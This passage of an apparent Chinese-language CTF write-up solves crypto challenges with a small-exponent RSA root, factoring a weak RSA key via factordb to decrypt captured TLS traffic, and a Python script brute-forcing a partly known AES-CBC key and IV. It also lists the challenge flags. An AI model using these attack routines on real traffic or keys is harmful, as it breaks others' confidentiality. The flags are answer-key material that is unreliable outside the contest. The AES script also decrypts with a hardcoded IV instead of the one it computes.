x, n = chinese_remainder_theorem(data)
realnum = gmpy.mpz(x).root(7)[0].digits()
print format(int(realnum), 'x').decode('hex')
```
Flag: `CTF{C1ll4s$!c_c0o0omm0n_m0du1u$55_a7t@ck!!!#>_<}`
---
### 🔓 Crypto 200 - Can't see
透過 Wireshark 可以 dump 出 server 的 SSL 憑證,憑證中內含他加密用的公鑰
```
Subject Public Key Info:
Public Key Algorithm: rsaEncryption Public-Key: (1024 bit)
Modulus:
00:b5:d8:21:69:ab:56:57:d6:e4:9c:cf:a7:1b:ac:
3d:b6:b7:d4:58:c8:b0:6d:3b:22:48:8d:70:e5:32:
7a:48:cd:c2:ee:40:d6:f0:4c:37:85:d6:f6:68:d1:
0e:75:c8:0e:27:96:6b:61:87:fa:fc:87:75:27:03:
f4:98:d3:76:8c:ce:b9:be:ba:1e:0c:46:02:fd:96:
65:36:a8:c6:a3:c4:83:13:81:0b:13:bf:41:c3:56:
2f:80:76:fb:51:c4:d9:dc:cc:ac:6d:60:27:42:3d:
ab:3a:89:ee:d0:ab:94:0b:9a:90:6b:7e:b5:07:2d:
fc:e4:58:fa:fe:11:f9:dd:2b
Exponent:
65537 (0x10001)
```
將這組數字丟上 factordb.com 可以得到 p 以及 q ,再用[工具](https://github.com/zongyuwu/rsatoolrb)便可以得到 pem ,將 pem 丟回 wireshark 中便可以得到 flag 了
Flag: `CTF{F4c70rdb_m4j_h3!p_y@u_4_lo00o@ot!!*-}`
---
### 🔓 Crypto 200 - Lost
透過封包的內容我們可以得到
```
Plaintext = Thi5 i$ 7he p!4int3x7 0f AES-CBC
KEY = Ad5xBvZR1HVhE6** // 後面兩位未知
AES-CBC(KEY, FLAG) = 9c2ea756ed9ca3c05d541f7df961b3569e5f85a3387a818ed4c23db57aeeb1e4
AES-CBC(KEY, Plaintext) = 1f****************************8452fe2ad18a9e5e26887d133a13d7b818
```
因為 AES-CBC 以 Block 作為切割,所以先從已知的 block 開始,
也就是 `Plaintext[16:]` ,以及 `Ciphertext[16:]` ,
先將所有的 key 組合找出,並用 `Ciphertext[0:16]` 驗證該組合的可能性。
然後將所有可能的 key ,嘗試用 `Ciphertext[0:16]` 找出 IV ,
並再用該組 (key, IV) 對 FLAG 解密,得到 FLAG 格式的即為解。
```python
#!/usr/bin/env python
import string
import itertools
from Crypto.Cipher import AES
def xor_blocks(b1, b2):
return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(b1, b2))
def encrypt(m, p, iv):
aes = AES.new(p, AES.MODE_CBC, iv)
return aes.encrypt(m)
def decrypt_block(c, k):
aes = AES.new(k, AES.MODE_ECB)
return aes.decrypt(c)
def brute_block(c_block, p_block, known_iv, known_key_prefix):
assert(len(p_block) == 16)
# Candidate list
candidates = []
# Known key prefix
brute_count = (16 - len(known_key_prefix))
# Character set
charset = [chr(x) for x in xrange(0x00,0x100)]
# Brute-force
for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(brute_count, brute_count + 1)):
candidate = known_key_prefix + p
d = decrypt_block(c_block, candidate)
t = True
# Check whether known plaintext/known iv constraint holds
for offset in known_iv:
t = (t and (p_block[offset] == chr(ord(d[offset]) ^ ord(known_iv[offset]))))
if(t == True):
candidates.append(candidate)
return candidates
# Known key fragment
known_key_prefix = "Ad5xBvZR1HVhE6"
# Known plaintext
plaintext = "Thi5 i$ 7he p!4int3x7 0f AES-CBC"
# Ciphertext block 1
c_block_1 = "52fe2ad18a9e5e26887d133a13d7b818".decode('hex')
# Known fragments of ciphertext block 0, organized by offset
known_iv = {
0: "\x1f",
15: "\x84"
}
# Obtain candidate keys
candidate_keys = brute_block(c_block_1, plaintext[16:], known_iv, known_key_prefix)
# Try all candidate keys
for k in candidate_keys:
# Obtain ciphertext block 0 as IV of ciphertext block 1
c_block_0 = xor_blocks(decrypt_block(c_block_1, k), plaintext[16:])
# Obtain IV given known ciphertext block 0, plaintext block 0 and key
IV = xor_blocks(decrypt_block(c_block_0, k), plaintext[:16])
print k
print "[+]Candidate IV: [%s]" % repr(IV)
aes = AES.new(k, AES.MODE_CBC, "8RQEs0dcprleIYbd")
print aes.decrypt("9c2ea756ed9ca3c05d541f7df961b3569e5f85a3387a818ed4c23db57aeeb1e4".decode('hex'))
```
Ref: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/TMCTF/crypto/crypto200
Flag: `CTF{0x52fec4c0afd8ffaebc93cbaa6}`
---
### 🔓 Crypto 400 - Helllo
![](https://static.mengniang.org/common/thumb/4/41/Nicky.jpg/250px-Nicky.jpg)
---